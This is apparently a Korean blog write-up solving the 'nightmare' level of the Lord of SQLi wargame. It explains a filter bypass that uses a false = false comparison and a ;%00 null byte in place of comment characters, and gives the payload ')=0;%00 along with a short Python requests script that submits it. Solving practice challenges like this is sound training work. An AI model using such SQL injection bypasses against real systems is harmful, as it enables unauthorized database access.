문제
문제 분석
pw에 "prob" , "_" , ".","#","-" 를 피해야 하며 pw로 입력할수있는 문자는 6글자가 최대이다
이를 만족하며 id에 값이 들어가게 하면 문제가 풀린다.
이때 주석 우회와 논리적으로 맞는 쿼리를 만드는것이 핵심이다.
문제 풀이
이문제는 false = false 가 true라는 점을 이용해야하며 #,-- 대신 ;%00으로 우회하여 문제를 푼다.
where pw('')=0;%00 and id!='admin'
=> pw('')=0 은 false = false 즉 참이 된다.
따라서 ')=0;%00 이 6글자를 넣어주게되면 문제가 풀린다.
문제 정답
URL?pw=')=0;%00
%00 은 null문자로 인식되어 한글자로 처리된다.
문제 풀이 코드
import requests
url = 'https://los.rubiya.kr/chall/nightmare_be1285a95aa20e8fa154cb977c37fee5.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
data={}
#False = False 로 true 만들기
#;%00 으로 주석처리하기
data['pw']="')=0;\0"
res = requests.get(url, params=data, cookies=session)
print(res.url)
if "Clear!" in res.text:
print("\nClear!")
else:
print("try again!")
'LOS-write up' 카테고리의 다른 글
LOS 20(dragon) (0) | 2021.01.05 |
---|---|
LOS 19(xavis) (0) | 2021.01.05 |
LOS 17(zombie_assassin) (0) | 2021.01.05 |
LOS 16(succubus) (0) | 2021.01.05 |
LOS 15(assassin) (0) | 2021.01.05 |